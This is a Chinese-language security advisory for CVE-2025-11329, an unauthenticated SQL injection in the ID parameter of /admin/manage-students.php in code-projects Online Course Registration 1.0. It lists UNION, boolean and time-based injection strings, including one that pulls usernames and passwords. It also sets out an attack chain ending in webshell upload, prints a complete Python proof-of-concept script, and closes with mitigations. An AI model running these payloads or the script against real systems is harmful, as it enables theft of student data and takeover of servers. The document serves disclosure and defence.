IPBUF安全漏洞报告
English
CVE-2025-11329 CVSS 7.3 高危

CVE-2025-11329:Online Course Registration SQL注入漏洞

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-11329
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
code-projects Online Course Registration

相关标签

SQL注入CVE-2025-11329code-projectsOnline Course Registration高危漏洞未授权访问PHPWeb应用漏洞

漏洞概述

CVE-2025-11329是code-projects Online Course Registration 1.0版本中存在的一个高危SQL注入漏洞。该漏洞位于/admin/manage-students.php文件中,具体涉及对参数ID的处理逻辑存在缺陷,攻击者可以通过构造恶意的SQL语句注入到数据库查询中,从而实现未授权的数据访问和篡改。

该漏洞的CVSS 3.1评分为7.3分,属于高危级别。攻击者无需任何认证凭据即可远程发起攻击,且不需要用户交互,这使得漏洞利用门槛极低。漏洞已公开披露,并且已有公开的利用代码(PoC)可供使用,这大大增加了被恶意利用的风险。

从影响范围来看,该漏洞可能允许攻击者读取数据库中的敏感信息(如用户凭证、个人信息等),修改或删除数据库中的数据,甚至在某些情况下通过数据库特性(如MySQL的LOAD_FILE()、INTO OUTFILE等)实现远程代码执行。受影响的产品是code-projects开发的一款在线课程注册系统,通常用于教育机构管理学生注册信息,因此可能涉及大量个人敏感数据,漏洞的危害性不容忽视。

该漏洞由[email protected]报告并披露,披露日期为2025年10月6日。由于漏洞利用代码已经公开,建议相关用户尽快采取防护措施,避免遭受攻击。

技术细节

该SQL注入漏洞的根本原因在于/admin/manage-students.php文件对用户传入的ID参数未进行充分的输入验证和参数化处理。当应用程序接收到该参数后,直接将其拼接到SQL查询语句中执行,导致攻击者可以通过构造特殊的SQL语句来操纵查询逻辑。

具体的技术利用方式如下:

1. 攻击者首先访问目标系统的/admin/manage-students.php端点;
2. 通过GET或POST方式传递恶意的ID参数,例如:
- 基于UNION的注入:ID=1' UNION SELECT 1,username,password FROM users-- -
- 基于布尔的注入:ID=1' AND 1=1-- - 或 ID=1' AND 1=2-- -
- 基于时间的盲注:ID=1' AND SLEEP(5)-- -
3. 应用程序将恶意参数拼接到SQL查询中,数据库执行包含恶意逻辑的查询;
4. 攻击者根据返回结果或响应时间差异提取数据库中的敏感数据。

由于漏洞无需认证即可利用,攻击者可以在未登录的情况下直接对系统发起攻击,这使得漏洞的危害程度进一步提升。建议开发者使用预编译语句(Prepared Statements)或参数化查询来修复此类漏洞。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过网络扫描或搜索引擎发现运行code-projects Online Course Registration 1.0的目标系统,并定位到/admin/manage-students.php端点。
STEP 2
步骤2:漏洞探测
攻击者向目标端点发送带有特殊构造的ID参数的请求,通过响应差异判断是否存在SQL注入漏洞,例如使用单引号测试、布尔测试或时间延迟测试。
STEP 3
步骤3:漏洞利用
确认漏洞存在后,攻击者使用UNION联合查询、布尔盲注或时间盲注等技术,构造恶意SQL语句注入到ID参数中,从数据库中提取敏感信息如管理员凭证、用户数据等。
STEP 4
步骤4:权限提升与数据窃取
攻击者利用获取的数据库信息(如管理员密码哈希)登录系统后台,或直接通过SQL注入修改/删除数据库内容,进一步扩大攻击影响。
STEP 5
步骤5:后续渗透
在获得管理员权限后,攻击者可上传WebShell、植入后门或利用数据库特性执行系统命令,实现对目标服务器的完全控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11329 - SQL Injection PoC # Target: code-projects Online Course Registration 1.0 # Vulnerable file: /admin/manage-students.php # Vulnerable parameter: ID import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" VULN_PATH = "/admin/manage-students.php" def check_sqli(target): """Check if the target is vulnerable to SQL injection""" # Normal request normal_payload = {"ID": "1"} try: r_normal = requests.get(f"{target}{VULN_PATH}", params=normal_payload, timeout=10) normal_len = len(r_normal.text) except Exception as e: print(f"[ERROR] Connection failed: {e}") return False # Boolean-based injection test true_payload = {"ID": "1' AND '1'='1"} false_payload = {"ID": "1' AND '1'='2"} try: r_true = requests.get(f"{target}{VULN_PATH}", params=true_payload, timeout=10) r_false = requests.get(f"{target}{VULN_PATH}", params=false_payload, timeout=10) if len(r_true.text) != len(r_false.text) and len(r_true.text) == normal_len: print("[+] Target is vulnerable to boolean-based SQL injection!") return True except Exception as e: print(f"[ERROR] Injection test failed: {e}") return False def exploit_sqli(target): """Exploit SQL injection to extract database information""" # Extract database version payload = { "ID": "1' UNION SELECT 1,version(),database()-- -" } try: r = requests.get(f"{target}{VULN_PATH}", params=payload, timeout=10) print(f"[+] Response:\n{r.text}") except Exception as e: print(f"[ERROR] Exploitation failed: {e}") def time_based_sqli(target): """Time-based blind SQL injection""" import time payload = {"ID": "1' AND SLEEP(5)-- -"} start = time.time() try: requests.get(f"{target}{VULN_PATH}", params=payload, timeout=15) except Exception: pass elapsed = time.time() - start if elapsed >= 5: print("[+] Target is vulnerable to time-based blind SQL injection!") else: print("[-] Target may not be vulnerable to time-based injection.") if __name__ == "__main__": print(f"[*] Testing target: {TARGET_URL}") if check_sqli(TARGET_URL): exploit_sqli(TARGET_URL) else: time_based_sqli(TARGET_URL)

影响范围

code-projects Online Course Registration 1.0

防御指南

临时缓解措施
在官方发布修复补丁之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)配置规则拦截针对/admin/manage-students.php的SQL注入攻击请求;2)限制/admin/manage-students.php端点的访问,仅允许受信任的IP地址访问;3)对ID参数实施严格的输入验证,仅接受数字类型输入;4)监控数据库日志,及时发现异常查询行为;5)如非必要,可暂时禁用或删除该功能模块。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表